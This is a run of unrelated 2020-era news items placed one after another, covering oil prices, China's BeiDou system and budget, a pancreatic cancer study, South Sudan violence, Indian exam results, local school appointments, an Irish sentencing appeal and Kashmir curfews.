CommSec senior economist Ryan Felsman said COVID-19 was delivering relief for motorists, who are unable to travel because of coronavirus restrictions.

'The world is awash with crude oil and volatility in global oil prices isn't helping,' he said.

'Global oil demand has collapsed with households and businesses consuming less fuel due to COVID-19 restrictions.'
Services provided by the BeiDou Navigation Satellite System (BDS) offer Chinese wisdom and accuracy to the rest of the world, according to the system's chief designer.

Yang Changfeng, who is also a member of the 13th National Committee of the Chinese People's Political Consultative Conference (CPPCC), spoke to reporters on Thursday afternoon at the Great Hall of the People in Beijing before the opening of the third plenary session of the country's top political advisory body.

He called the global BeiDou system a "miracle" in the history of the world's satellite navigation. It took two years to form satellite networks with high-density-styled launch plans involving 17 carrier rockets and 29 satellites. "We have worked extremely hard on this system, completing it in just over 20 years, to a level where other countries took about 40 years."

China plans to complete the BDS constellation with the launch of its last satellite scheduled in June. The satellite has already arrived at the Xichang Satellite Launch Center in southwest China's Sichuan province.

The BDS's satellite-based augmentation system will provide high-precision and high-integrity services to users with meter, decimeter, and centimeter-level real-time positioning, which provides the world with "Chinese accuracy," he said. At the same time, Yang noted that they invented a hybrid constellation consisting of satellites in three different orbits, short message communication, and satellite links -- the connections among satellites and the communications between satellites and bases on earth - which all reflects Chinese wisdom.

He pointed out that although many people may not notice, about 70% of smartphones in China are compatible with BeiDou-enabled services, and over half of the world's countries are using the system. After the completion of the system scheduled in June, "the BDS will be accessible from every corner of the world and offer navigation and positioning services to everyone."

"The BDS services are widely used in various fields, including transportation, agriculture, fishing, and disaster risk reduction and relief," said Yang, stressing that the BDS has been playing an important role in COVID-19 epidemic prevention and control.

"We would love to promote international cooperation and exchange as well as multisystem compatibility, which could eventually benefit mankind and let people around the world share our achievements," the scientist said, adding they always adhere to the development concept of "Chinese BeiDou, the world's BeiDou, and the first-class BeiDou."

BeiDou is China's largest and most complicated satellite-navigation system with the highest performance requirements. It has become one of the four global networks, along with the United States' GPS, Russia's GLONASS and the European Union's Galileo. Yang believes the system has provided a Chinese solution to the world satellite navigation history.
HONG KONG  Beijing says it wants to safeguard one country, two systems, the principle that supposedly guarantees Hong Kongs semiautonomy from the mainland. In reality it is weaponizing the policy to crush the citys freedoms.

On Thursday, the Chinese government announced a plan to pass national security laws for Hong Kong. It has long been after something like this, though previously it expected the local authorities to do the job. Not this time. This law would be ratified in Beijing  at worst, as soon as next week.

This sinister move caps several weeks of mounting acts of repression in Hong Kong, in almost all spheres of public life  politics, law, education, the media.

Last week, students sitting for a university-entrance history exam were asked if they agreed with this statement: Japan did more good than harm to China in the period of 1900-45. The Hong Kong Education Bureau promptly complained that the question was leading and asked that it be stricken from the exam, even though some students had already answered it.
Bottom Line: Patients with metastatic pancreatic cancer who had germline or somatic mutations in DNA repair genes had better clinical outcomes after platinum-based chemotherapy, as compared with patients without these mutations.

Journal in Which the Study was Published: Clinical Cancer Research, a journal of the American Association for Cancer Research

Authors: The senior author was Eileen O'Reilly, MD, medical oncologist at Memorial Sloan Kettering Cancer Center (MSKCC). The lead author was Wungki Park, MD, medical oncologist at MSKCC.

Background: Metastatic pancreatic cancer is associated with a challenging prognosis with a relative five-year survival rate of 2.9 percent. The current standard of care for metastatic pancreatic cancer includes platinum-based chemotherapy. "Unfortunately, there are no validated biomarkers to predict which patients might benefit from standard treatment," said O'Reilly.

Biomarkers are biological features, such as DNA mutations, that can be used to predict prognosis or response to treatment. DNA mutations may be found in one or both copies of the gene. Furthermore, mutations may be germline mutations, which are inherited and are found in every cell of the body, or they may be somatic, which arise after conception and are not found in every cell.

Approximately 5 to 9 percent of patients with pancreatic cancer have germline or somatic mutations in the BRCA1, BRCA2, and/or PALB2 genes, according to O'Reilly. The proteins encoded by these genes are involved in a form of DNA repair known as homologous recombination (HR). Results from recent clinical trials showed that patients with germline mutations in BRCA1, BRCA2, and/or PALB2 had clinical responses to platinum-based chemotherapy or the PARP inhibitor olaparib (Lynparza).

"These studies demonstrate that germline mutations in BRCA1, BRCA2, or PALB2 are valuable biomarkers to predict response to treatment," said Park. "This led us to ask whether the benefit was limited to germline mutations only, or whether somatic mutations in these genes or mutations in other HR genes are also associated with responses to platinum-based chemotherapy."

How the Study was Conducted: In this study, Park, O'Reilly, and colleagues analyzed the association between mutations in HR genes and clinical outcome. The study included 262 patients with metastatic pancreatic cancer, who underwent both germline and somatic sequencing using the MSK-IMPACT sequencing test. The researchers analyzed 17 HR genes included in both the somatic and germline panels of the MSK-IMPACT gene set. Analysis of sequencing data allowed the researchers to determine whether mutations were germline or somatic, in core HR genes (BRCA1, BRCA2, or PALB2) or in noncore HR genes (such as ATM, CHEK2, BAP1, RAD51, FANCA, and 9 others), and in one or both copies of each gene.

Results: Out of 262 patients, 50 patients had mutations in HR genes; 40 patients had germline mutations, and 10 had somatic mutations. Thirty-one patients had mutations in core genes, while 19 patients had mutations in noncore genes. Twenty-nine patients had mutations in both copies of a gene, and 21 patients had mutations in only one gene copy.

The median overall survival for the entire cohort of 262 patients was 15.5 months. Overall survival was similar between patients with germline mutations and those with somatic mutations. Thus, these subgroups were combined in the ensuing analyses.

The authors found that for the 35 patients who were treated with first-line platinum-based chemotherapy, those with mutations in HR genes had greater overall survival compared with those without mutations in these genes (25.1 months vs. 15.3 months), suggesting that mutations in HR genes may be associated with enhanced overall survival. Furthermore, patients with HR mutations had a 44 percent lower risk of disease progression than patients without these mutations after first-line treatment with platinum-based chemotherapy. The lower risk of disease progression was observed regardless of whether the mutations were in core or noncore HR genes.

Among patients with mutations in HR genes, those who were treated with platinum-based chemotherapy had higher progression-free survival (PFS) than those who received non-platinum treatment (12.6 months vs. 4.4 months). For the patients with mutations in both gene copies, those who were treated with platinum-based chemotherapy had greater PFS than those treated with other therapies (13.3 months vs. 3.8 months). This association was not observed for patients with mutations in only one gene copy, suggesting that platinum-based chemotherapy may provide a greater clinical benefit in patients with mutations in both copies of HR genes.

Author's Comments: "Our data support the use of platinum-based chemotherapy as first-line treatment for patients with defects in various HR genes," said O'Reilly. "The results underscore the importance of genetic testing in newly diagnosed patients to help refine treatment decisions."

"HR deficiency defined by pathogenic mutation of core HR genes and loss of both copies of either core or noncore HR genes confers the greatest platinum sensitivity," said Park. "Patients with these deficiencies represent the optimal subgroup for therapies that target DNA repair pathways, such as platinum-based chemotherapy." He noted that these deficiencies could also be predictive of response to other targeted developmental therapeutics in DNA repair pathways, to other PARP inhibitors, and to immunotherapy, although additional research into these will be needed.

"Identifying factors associated with treatment response may also help us understand why some patients' tumors do not respond to treatment and why some that respond ultimately develop resistance," Park added.

Study Limitations: A limitation of the study is that the analysis was performed on a highly selected group of patients and therefore may not represent all patients with pancreatic cancer. "While the data are very compelling, we need to validate the results prospectively in wider and larger datasets," noted O'Reilly.

Additional challenges included low sample purity, limited tissue availability, and other technical limitations.

###

Funding & Disclosures: The study was supported by MSKCC, National Institutes of Health, Parker Institute for Cancer Immunotherapy, David M. Rubenstein Center for Pancreatic Cancer Research, Bonnie Reiss Family Foundation, Breast Cancer Research Foundation, and the Sarah Jenkins Fund. Park has received research funds from Merck, Astellas, and Gossamer Bio and has received honoraria from Ipsen. O'Reilly has received research funds from Genentech, Roche, Bristol-Myers Squibb, Halozyme, Celgene, MabVax Therapeutics, ActaBiologica, AstraZeneca, Silenseed, and Polaris. O'Reilly has served consulting or advisory roles for Cytomx, BioLineRx, Targovax, Celgene, Bayer, Polaris, Sobi, Ipsen, and Merck.

About the American Association for Cancer Research

Founded in 1907, the American Association for Cancer Research (AACR) is the world's first and largest professional organization dedicated to advancing cancer research and its mission to prevent and cure cancer. AACR membership includes 47,000 laboratory, translational, and clinical researchers; population scientists; other health care professionals; and patient advocates residing in 127 countries. The AACR marshals the full spectrum of expertise of the cancer community to accelerate progress in the prevention, biology, diagnosis, and treatment of cancer by annually convening more than 30 conferences and educational workshops, the largest of which is the AACR Annual Meeting with more than 22,500 attendees. In addition, the AACR publishes nine prestigious, peer-reviewed scientific journals and a magazine for cancer survivors, patients, and their caregivers. The AACR funds meritorious research directly as well as in cooperation with numerous cancer organizations. As the Scientific Partner of Stand Up To Cancer, the AACR provides expert peer review, grants administration, and scientific oversight of team science and individual investigator grants in cancer research that have the potential for near-term patient benefit. The AACR actively communicates with legislators and other policymakers about the value of cancer research and related biomedical science in saving lives from cancer. For more information about the AACR, visit http://www.AACR.org.
A deadly upsurge in intercommunal violence in South Sudan has to stop and those responsible must be swiftly brought to justice, the UN human rights chief insisted Friday.

Michelle Bachelet, the United Nations' high commissioner for human rights, slammed the "appalling" attacks that have reportedly left hundreds dead in the world's youngest sovereign state.

The former Chilean president's office said that while politically-motivated fighting in South Sudan had declined, intercommunal violence had surged this year.

During the first three months of 2020, 658 people were killed in intercommunal violence in the country, while 452 were injured, the rights office said.

Another 592 people were abducted and 65 reported being subjected to sexual violence, it added.

"This recurring pattern of violence, which continues to claim lives in South Sudan, has to stop," Bachelet said in a statement.

"I urge the government to ensure measures are in place to investigate this violence and to ensure that those responsible are prosecuted, and that victims and their families have access to justice, truth and reparations."



South Sudan is emerging from a brutal six-year civil war that left 380,000 dead and millions displaced.

President Salva Kiir and Riek Machar, the rebel leader who is now first vice president, reached a deal to form a unity government in February but remain at odds over issues including who will govern the country's 10 internal states.

The intercommunal conflicts, long driven by tensions over access to natural resources -- particularly water and grazing land for cattle -- have become increasingly militarised in terms of tactics and weaponry, Bachelet's office said.

"For the peace in South Sudan to be durable, the state authorities must act to end these cycles of retaliatory violence, including by holding those responsible to account and promoting peace-building between individual communities," said Bachelet.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Bihar school examination board is expected to declare the Bihar Board 10th result 2020 at around 6pm on Friday. The result will be declared on the official websites of BSEB at biharboard.ac.in, biharboardonline.bihar.gov.in and biharboard.online.

Over 15 lakh candidates are anxiously waiting for their results.

Also Read: Bihar Board BSEB Class 10th result 2020 : How to check Matric scores

Lets look back at the previous years trends to get an idea of what we can expect from the results this year.

BSEB always releases a press note regarding the announcement of result at least an hour before declaring the result. In the past years, Bihar board used to to hold a press conference to announce the results. However, this year there will be no press conference due to to the coronavirus pandemic. BSEB chairman Anand Kishore along with an official of Education department used to jointly release the results and activate the result links in the press conference itself. However this year the board officials will activate the result links from their office after which the students will be able to check their results online.

Also Read: Bihar 10th result 2020: BSEB Board Matric result 2020 likely today after 5 pm

In the year 2018, the pass percentage was 68 which rose to 80.73 in the year 2019. This year also we can expect a better result mainly because the students who had taken the exam were very happy with question paper. Many of them found the questions very easy and hoped to score well in the exam.

Toppers of Bihar Board:

Toppers of Bihar board 10th exam result can get various prizes and scholarships like previous years. In the year 2019 the first rank holder had got a scholarship of rupees 1 lakh, a laptop and a Kindle device. The second rank holder had got a scholarship of rupees 75000 along with a laptop and a Kindle device. Candidates who were between rank 4 and 10 had also got a scholarship of rupees 1200 per month for 2 years after getting enrolled in an intermediate School or college.

However the final decision regarding scholarship and prices will be announced when the result is declared. BSEB has already verified the toppers who have made it to the the top 10 rank list. They were interviewed through video conferencing this year by a panel of subject experts constituted by the board.

Every year BSEB used to to call the toppers to the board office in Patna for their verification. Bihar board usually declares the result after the toppers verification is complete. According to reports the toppers verification process has already been completed and the result will be declared anytime soon. However, the board has not given any update as of now regarding the toppers verification or the date and time of declaration of result.

Candidates are advised to be patient and stay away from any rumour.
Gauhati University has announced the first, third and fifth semester results of various undergraduate and postgraduate courses for the academic session 2019-20

Gauhati University has announced the first, third and fifth semester results of various undergraduate and postgraduate courses for the academic session 2019-20.

The results have been declared for UG major and general courses, apart from MA 3rd Semester (Psychology), MSc 3rd Semester (Geological Science), MTech MST 1st Semester (Material Science and Technology), MA 1st Semester (Psychology), MBA 1st Semester (Business Administration) and MSc 1st Semester (Instrumentation and Applied Physics).

Those who have appeared for these courses can check their result by visiting the result portal of Gauhati University Guportal.in.

The results of remaining courses will be announced shortly.

More than 350 colleges are affiliated to Gauhati University in Assam. These colleges offer UG and PG courses in Arts, Science, Commerce and Management, Law, Medicine and Allied Health and Engineering and Technology.

How to check result

Step 1: Go to the result portal of Gauhati University - https://guportal.in/Results/ExamResultDeclare.aspx



Step 2: Select the result type out of the three given options  scrutiny result, evaluation result and value added result.

Step 3: Select the course for which you took the exams and degree type.

Step 4: Then finally select the faculty.

The university has also opened registration facility for 1 semester students of BA, BCom and BSC. While filling the online application form, students will have to provide personal details like mothers name, fathers name, email ID, date of birth and religion, among others. The portal for new student registration is also active.
The government is planning to stimulate its coronavirus-ravaged economy with a big boost in spending.

After a historic contraction in its economy due to the coronavirus, Chinas government has made the equally momentous move to ditch its target for economic growth this year and instead has promised to boost spending on job creation.

Premier Li Keqiangs speech at the annual National Peoples Congress (NPC) on Friday launched the annual session of Chinas parliament.

I would like to point out that we have not set a specific target for economic growth this year, the report said. This is because our country will face some factors that are difficult to predict in its development due to the great uncertainty regarding the COVID-19 pandemic and the world economic and trade environment.

It is the first time that China has not set a target for gross domestic product (GDP) since 2002.

Despite embracing relatively forceful stimulus, the leadership appear to be under no illusions that getting the economy back on track will be a challenging and drawn out process, Julian Evans-Pritchard, senior China economist at research firm Capital Economics said in a note sent to Al Jazeera.

Rather than set an unachievable annual GDP growth target, they simply didnt publish one for the first time in decades, he added.

The worlds second-biggest economy contracted by 6.8 percent in the first quarter from a year earlier, shrinking for the first time in decades, as the outbreak of the new coronavirus  which started in the central Chinese city of Wuhan  paralysed production and hit spending.

In the run-up to the NPC, the week-long meeting of the largely rubber-stamp parliament, Chinas top leaders had promised to step up stimulus measures to bolster the economy amid rising worries that job losses could threaten social stability.

The government is due to set a target for urban job creation of more than nine million jobs, lower than the previous years target of approximately 11 million and a target for the urban surveyed unemployment rate of about 6 percent, higher than 2019s goal, according to the document.

China is targeting a 2020 budget deficit of at least 3.6 percent of GDP, above last years 2.8 percent, and fixed the quota on local-government special bond issuance at 3.75 trillion yuan ($527bn), up from 2.15 trillion yuan ($302bn), according to Lis report.

China will also issue 1 trillion yuan ($140bn) in special treasury bonds for the first time this year.

Lis report did not offer anything too out of the ordinary, said Nie Wen, economist at Shanghai-based Hwabao Trust, reinforcing views that China would not resort to mass stimulus that some market players have been betting on.

Nie expects GDP growth to slow sharply this year to around 2 percent or 3 percent from last years 6.1 percent.

Challenging external background

Louis Kuijs of Oxford Economics in Hong Kong said Beijing worries about excessive debt and financial instability but that Lis sizeable overall fiscal-deficit target indicates significant policy support for the domestic recovery that we expect to continue despite the challenging external background.

Many of Chinas main export markets including the United States, Europe and Asia are only slowly emerging from months of stalled economic activity to curb the spread of the virus.

Local government bonds could be mainly used to fund infrastructure projects, while special treasury bonds could be used to support firms and regions hit by the coronavirus outbreak, for subsidies to spur consumption or for boosting the capital structure of small banks, analysts say.

China has front-loaded a quota of 2.29 trillion yuan ($322bn) in local government special bonds in 2020. Local governments have also issued 1.2 trillion yuan ($169bn) in special bonds in the first four months, according to the finance ministry.

Fiscal policy will be more proactive and monetary policy more flexible, Li said in his report, adding that growth in M2  a broad gauge of money supply  and total social financing will be significantly higher this year.

Since early February, the central bank has unveiled a series of measures from making cheap loans and providing payment relief to firms that have been hardest hit by the virus outbreak, to cutting lending rates and banks reserve requirements.

China also said it will boost defence spending by 6.6 percent compared with last year. The figure, set at 1.27 trillion yuan ($178bn), is closely watched as a barometer of how aggressively the country will beef up its military capabilities.

China had set a 7.5 percent rise for the defence budget in 2019.
Moments later De La Garza located one of the enemy soldiers hiding in the reeds and brush. As he and his fellow Marines attempted to remove the man from the pond, De La Garza saw him pull the pin on a grenade. He shouted a warning and placed himself between the two other Marines and the grenade, saving the life of his comrades.
Briz Media Group, a dbray Media company, today announced the addition of David Galvan, Vice President of Digital Partnerships at MasterCard to Connectors. Connectors is Briz Media Groups network of the best and brightest executives in business who are committed to bringing new innovative ideas, thinking and guidance to Briz Media Group, its clients, and the marketing and communications industry.

Connectors helps advise companies on key business initiativesfrom raising capital to the best route to successful exits.

David is a long time friend and former client who has been tremendously supportive to me and my agency over the years, David Bray, founder & chief executive officer at Briz Media Group. He is a well accomplished payments, technology and Internet veteran with over 25 years of business and operating experience in Silicon Valley. We're thrilled that David has joined Connectors and look forward to the impact of his addition to the network."

Galvan is currently VP of Digital Partnerships and Start-Up Engagement for MasterCard International, where he focuses on digital partnerships, alliances, mentorship and investments with emerging companies in the Fintech space. Prior to that, Galvan was Senior Vice President of Business Development and Strategy for 24 Hour Fitness, the largest privately owned U.S. fitness club chain in the United States.

Before 24 Hour Fitness, Galvan was the President/Head of BD at Schedulicity, a leading online scheduling service for appointment-based businesses. Galvan has also held senior leadership and operating roles at Topix, InfoGroup, Yahoo, AOL/Netscape, and Motorola.

Galvan joins a growing list of top executive Connectors including:



Greg Coleman, EIR at Lerer Hippeau, former president of Buzzfeed, President & CRO at The Huffington Post & NYU Stern School of Business Adjunct Professor, Digital Marketing, former president of Criteo

Ron Berger, Chairman of The Berger Shop, former CEO, Executive Chairman at EURO RSCG, Co-founder & Chairman Emeritus at Advertising Week & Chairman of the 4As

Aurelie Guerrieri, CMO of Open Systems, Founder & former CEO of Akila One, President Emeritus of Women in Wireless, author of The Mobile Natives Guide to Marketing, published with App Annie. In 2016, she was named one of 25 Mobile Women to Watch by Mobile Marketer.

About Briz Media Group

Founded in 2010, Briz Media Group is a team of seasoned communications specialists, made up of PR practitioners, journalists, event planners, and digital media executives, who help companies develop results-driven, multi-platform content and publicity. We get results that matter for our clients. Results are conceived with a specific goal in mind - whether its to secure funding, generate new business leads and sales, promote a new product or develop a plan toward a potential exit. For more, please visit http://www.brizmediagroup.com
Four new principals have been selected to lead schools for the 2020-2021 School year in Hamilton County Schools. The schools getting new leaders are Allen Elementary, East Brainerd Elementary, Daisy Elementary, and Red Bank Middle School. Three of the new school leaders are familiar faces in Hamilton County Schools. Two are stepping up to accept new assignments in the district as the school system prepares for challenges we face in the wake of the COVID-19 pandemic and the devastating tornado that impacted the eastern part of our county.

"High-quality leadership is vital to the success of our schools and learning communities as we push forward to higher achievement, even with the knowledge that certain challenges lie ahead," said Dr. Neelie Parker, chief schools officer, Hamilton County Schools. "We understand the gravity of the school dynamic and how a quality leader manages change and sets the focus and culture, leading to the ultimate success of children in our schools."



Jill Hall, currently the assistant principal of Daisy Elementary, will step into the principal role at the school for the fall. Hall will be welcomed by the parents of Daisy Elementary, pleased with the direction of the school under the leadership of Dr. Lee Ziegler. Ziegler is moving to Hixson High School to take over for Principal Lee Sims, who is retiring.



Ms. Hall has been a part of the Daisy family since 2006 and has served as a teacher on special assignment preparing for leadership, and as a teacher at several grade levels. In the classroom, she taught kindergarten, second-grade, and third-grade. Ms. Hall has been in Hamilton County Schools since 2001 and has also worked at Red Bank Elementary and Spring Creek Elementary. She participated on leadership teams and served as a grade level leader at Red Bank and Daisy.



"I believe that all students should have a rigorous curriculum, and as a school, we can make a lasting impression on students that will inspire them throughout their educational path and prepare them for the future," said Ms. Hall. "During this my time as assistant principal, I learned valuable leadership skills, and I am very grateful for the trust placed in me, allowing me to participate in all the leadership responsibilities."



Ms. Hall has a bachelor's degree from the University of Tennessee at Chattanooga and a master's from Trevecca Nazarene University. She was also a member of the Public Education Foundation (PEF) Leadership Cohort 21, helped to create a House System at Daisy Elementary, and trained in McRel Balanced Leadership.



"My ability to motivate students and share a love of learning fosters a successful classroom environment," added Ms. Hall. "I welcome the role of school leader to support the growth of our entire community."



Dr. Phillip Greeson comes to Hamilton County from Laurens County, Georgia, to lead Allen Elementary. He returns to Hamilton County after nine years in leadership positions, including assistant principal, principal, and director of Human Resources in school districts in Georgia. Before serving as a leader, Dr. Greeson was a school counselor for sixteen years. Schools he served included DuPont Elementary, East Brainerd Elementary, Cleveland High School, and Murray County High School.

Dr. Greeson replaced Chris Tillett at Allen Elementary. Mr. Tillett will be the new principal at Red Bank High School in the fall taking over for Elaine Harper who is now the executive director of the North River Learning Community.



Dr. Greeson received the Puckett Highly Effective Middle School Principal Award from the Georgia Association of Middle School Principals as principal of Gladden Middle School in Chatsworth, Georgia. He was presented the Ron Amerson Safety Award from the Georgia Workers Compensation Trust in recognition of the greatest reduction in worker's compensation claims in the state as director of Human Resources for Laurens County Schools. He also received the Dissertation Award from Trevecca Nazarene University recognizing his research focusing on improving student success rates.



After completing the Bachelor of Arts in Psychology at Berry College, the Master of Education in School Counseling at the University of Tennessee at Chattanooga, the Educational Specialist in Administration and Supervision at Lincoln Memorial University, he earned the Doctor of Education in Leadership and Professional Practice at Trevecca Nazarene University in Nashville.



East Brainerd Elementary is undergoing a lot of transition due to the tornado damage from the Easter weekend and the prospects of teachers and children being in a temporary location at the start of the school year in the fall. Saunya Goss, a veteran of Hamilton County Schools, has been tapped to lead the school through the transition. She will take over for Dr. Marthel Young who is retiring.

Ms. Goss currently serves as the elementary director of the Opportunity Zone. Her notable achievements as director include selection to the Inaugural Principal Supervisory Network, and all elementary priority schools in the Opportunity Zone reached a composite Tennessee Value Added Assessment System (TVAAS) score of 4 or 5 based on 2019 TNReady results.



Previously, Ms. Goss served as principal at Battle Academy from 2010-2017, and assistant principal at Westview Elementary from 2008-2010. Before moving into administration, she was the school psychologist and gifted teacher at Battle Academy. Accomplishments of Ms. Goss as an administrator include playing an instrumental role in the Tennessee Department of Education's Network for Educator Preparation Partnerships (NEPP), which led to improved teacher effectiveness by working with universities to enhance student teaching programs. Battle Academy was named a National Magnet School of Excellence and earned straight As in achievement during her tenure.

Ms. Goss is a product of area public schools as she graduated from Chattanooga School for the Arts and Sciences. She holds bachelor's, master's, and specialist degrees from the University of Tennessee at Chattanooga. Currently, Goss is pursuing a doctoral degree from Carson-Newman University. She completed the Tennessee Department of Education Principal Academy, PEF Principal Leadership Academy and Leadership Fellows Cohort 7.

Dr. John Tharp will take his 27 years of experience in education to Red Bank Middle School to serve as the school's new principal. He is taking over for Andrea Edmondson, who will work with Federal Programs in the fall. Since May 2018, Dr. Tharp served as executive director for the Harrison Bay Learning Community in Hamilton County Schools. He has been an executive director, teacher, principal, assistant superintendent, superintendent, and university professor during his career.

Dr. Tharp was executive director at Pathways Charter High School in Milwaukee before coming to Hamilton County Schools. He served as a faculty associate with the University of Phoenix and as an assistant professor at the University of Wisconsin at Milwaukee. He was superintendent for Greendale School District in Greendale, Wisconsin, assistant superintendent for Williamson County Schools in Franklin, Tennessee, a principal in the Greenville School District in South Carolina and an assistant principal in Durham Public Schools in North Carolina.



Dr. Tharp started his career as a social studies teacher in North Carolina. He earned his undergraduate degree at Illinois Wesleyan University. He has advanced degrees, including his doctorate, from the University of North Carolina at Chapel Hill.



"We gathered input from parents, teachers, and students through this principal selection process," added Dr. Parker. "Our community shared specific experience and qualities they desired in a school leader which helped us be very intentional in our selection process."



These new principals will be supported by strong leadership in their respective learning communities. Dr. Larrie Reynolds, executive director of the Missionary Ridge Learning Community, will transition his leadership to the Harrison Bay Learning Community. Dr. Jason Vance, currently director of Federal Programs for Hamilton County Schools, will now lead the Missionary Ridge Learning Community. Dr. Robert Sharpe will continue in his role with the Rock Point Learning Community, as will Elaine Harper, who joined the North River Learning Community earlier this year. With the realignment of some schools, the district is updating the name of one learning community to become known as the MidTown Learning Community, which will include seven schools formerly in the Opportunity Zone. Five of the schools in MidTown are also part of the Partnership Network. Dr. Elaine Swafford, the chief executive officer of Chattanooga Girls Leadership Academy, will provide leadership capacity building and support to MidTown principals. Dr. Swafford, a proven school turnaround specialist, was a longtime administrator in Hamilton County Schools. She served as an area superintendent and executive principal of Howard High School during her esteemed career. Swafford will support the schools in the interim until the permanent leader is appointed to serve the MidTown schools and the Partnership Network.


The Director of Public Prosecutions (DPP) has appealed against the sentence imposed on a truck driver for the careless driving causing the death of Estlin Wall, 3, and serious bodily harm to her father, Vincent three years ago.

The Courts Service today confirmed that appeal papers have been lodged by the DPP and the DPP is claiming that the sentence imposed by Judge Gerald Keys last month at Ennis Circuit Court on Senan OFlaherty, 63, of Lower Gowerhass, Cooraclare is unduly lenient.

In his sentence, Judge Keys imposed a 750 fine on small farmer, Mr OFlaherty for the careless driving causing death of Estlin Wall on March 15, 2017.

Judge Keys also imposed a 750 fine on Mr OFlaherty for careless driving causing serious bodily harm to Mr Wall on the same date near the village of Inagh.

Judge Keys - who retired as a judge this week - also imposed a mandatory four year driving ban on Mr OFlaherty.

Imposing sentence, Judge Keys stated that Mr OFlahertys culpability was low and "at the bottom end of the spectrum" in the accident.

In court, Estlin's mother, Amy wept at the sentencing remarking from her seat thats how old my daughter was - four years, in reference to the driving ban.

Mr OFlaherty had pleaded guilty to both careless driving offences - careless driving causing the death of an individual carries a maximum penalty of two years in jail.

The DPP appealed the sentence after Estlins parents, Vincent and Amy wrote a letter urging the office to appeal.

Today, Vincent Wall welcomed the DPP decision to appeal.

He said: It is great that the DPP has appealed. I am very happy with that and we feel vindicated.

Mr Wall stated: I dont think we ever had high hopes that the trial or the court experience would make us feel that justice had been done but after the sentence, we were in shock as were never expected coming away that there would be an injustice. It was quite deflating."

Mr Wall said that Amy had their third child a baby girl, Lucie last week at the maternity hospital in Limerick.

He said that it was their Garda liaison officer, Garda Deirdre Scanlon who informed them last Friday of the appeal - just after they had returned to their home in Ennistymon with Lucie from the hospital.

Mr Wall recalls: We got the call 30 minutes after we arrived back with Lucie. Our mind was elsewhere but the importance of it definitely struck us.

The couple called the baby Lucie as that was the name Estlin had picked for the couples second born while Amy was pregnant- the baby was a boy and the couple named him Mannix.

Mr Wall stated: We are home now with Lucie and back into our cocoon and very happy to be new parents of our third child."

He went on: It is definitely a happy situation but it quite sad as well - Estlin will never be forgotten.

There was a lot of deja vu having Lucie home - seven years ago, I was holding a newborn Estlin and it bringing back those memories too which is quite sad but it is a balancing act of happy and sad.

He added: Overall we are happy to to be home and happy that everything went well and happy that the DPP will try to rectify that sentencing.

Explaining why he wrote the letter to the DPP on behalf of the couple, Mr Wall stated: I felt that I had been gritting my teeth for a few days after the sentencing and I felt that I to make my feelings known to the people who are most important in this."

He stated: It took a few days to compose the letter and I sent it to them.

"I dont think it had much influence on their decision but it was important for me to get it off my chest.

The crash left Vincent unconscious for a number of weeks at hospital and he missed Estlins funeral and today continues to recover from a brain injury sustained in the crash.

Poignantly one of the Wall family not to welcome baby Lucie home was Vincents late mother, Patricia.

Patricia died from cancer in January 2018 - 10 months after the tragic crash that claimed Estlins life.

In his powerful victim impact statement delivered in court, Mr Wall recalled: Mum had fought off cancer twice with motivation from Estlin.

After the crash, when a doctor at Limerick Hospital told my family that Estlin would not survive, my mum shrieked like a banshee and tried to bargain with God that they could trade places.

He added: The motivation to fight her own battle drained from her and when cancer came calling again she had no strength or will to fight. She died ten months after Estlin.

It is expected that the hearing of the DPP appeal before the Court of Appeal in Dublin wont take place for another nine to 12 months.
Srinagar:

Curfew in the entire Srinagar district as well as in two south Kashmir towns and restrictions in the rest of the Valley continued today even as normal life remained paralysed for the 44th day due to unrest.

Curfew is in force in the entire Srinagar district as well as in Anantnag and Pampore towns as a precautionary measure, a police official said.

He said restrictions on the movement of the people were also in force in rest of the Valley. The separatist camp has called upon people to assemble and occupy local chowks and centers from 3 PM to 5 PM today.

The separatists have also asked the people to paste letters, asking all ministers, MLAs and MLCs from all parties to resign from government and party positions, on walls around their residence and in the locality.

The separatist camp is spearheading the protests in the Valley over the civilian killings during the protests against the killing of Hizhul Mujahideen commander Burhan Wani.

As many as 64 persons, including two cops, have been killed and several thousand others injured in the clashes that began on July 9.

Meanwhile, normal life remained paralysed for the 44th consecutive day due to curfew, restrictions and separatist sponsored strike. Shops, private offices and petrol pumps remained closed while public transport continued to be off roads.

Mobile Internet also continued to remain suspended in the entire Valley, while postpaid mobile services and incoming facility on prepaid mobiles were resumed yesterday.

However, outgoing facility on prepaid services remained barred. The separatist camp, headed by Syed Ali Shah Geelani, Mirwaiz Umar Farooq and Mohammad Yasin Malik, has extended the agitation till August 25.

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Consumer buying behaviour in organised trade saw shifts from pre- lockdown period to successive lockdown stages.

According to research firm Nielsen India, the FMCG industry increased sales in the weeks prior to the lockdown announcement across organised retail and organised wholesale channels.

"This can be attributed to stockpiling and as we entered the lockdown phase, we saw a steep decline in sales across channels. This was caused by mobility restrictions and supply side challenges," said Sameer Shukla, West Market Leader, South Asia, Nielsen Global Connect.

Modern trade sales registered a dip in phase II of the lockdown. Cash and carry and E-commerce channels, on the other hand, were severely affected in lockdown-I and showed some signs of recovery in lockdown-II.

"As we moved into the lockdown phases, growth especially in the Non-Foods segment started shrinking, as constituent categories were classified non-essentials or they were low on consumers priority," said Shukla.

COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine  one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show

Slowdown was seen across home care and personal care categories.

Only evolved hygiene products like hand wash, hand sanitiser and floor cleaner continued to grow in lockdown phase and remained flat in lockdown phase II on account of heightened focus around health and hygiene.

The food basket of modern trade shoppers witnessed pantry loading of staples and convenience food items in the pre lockdown phase.

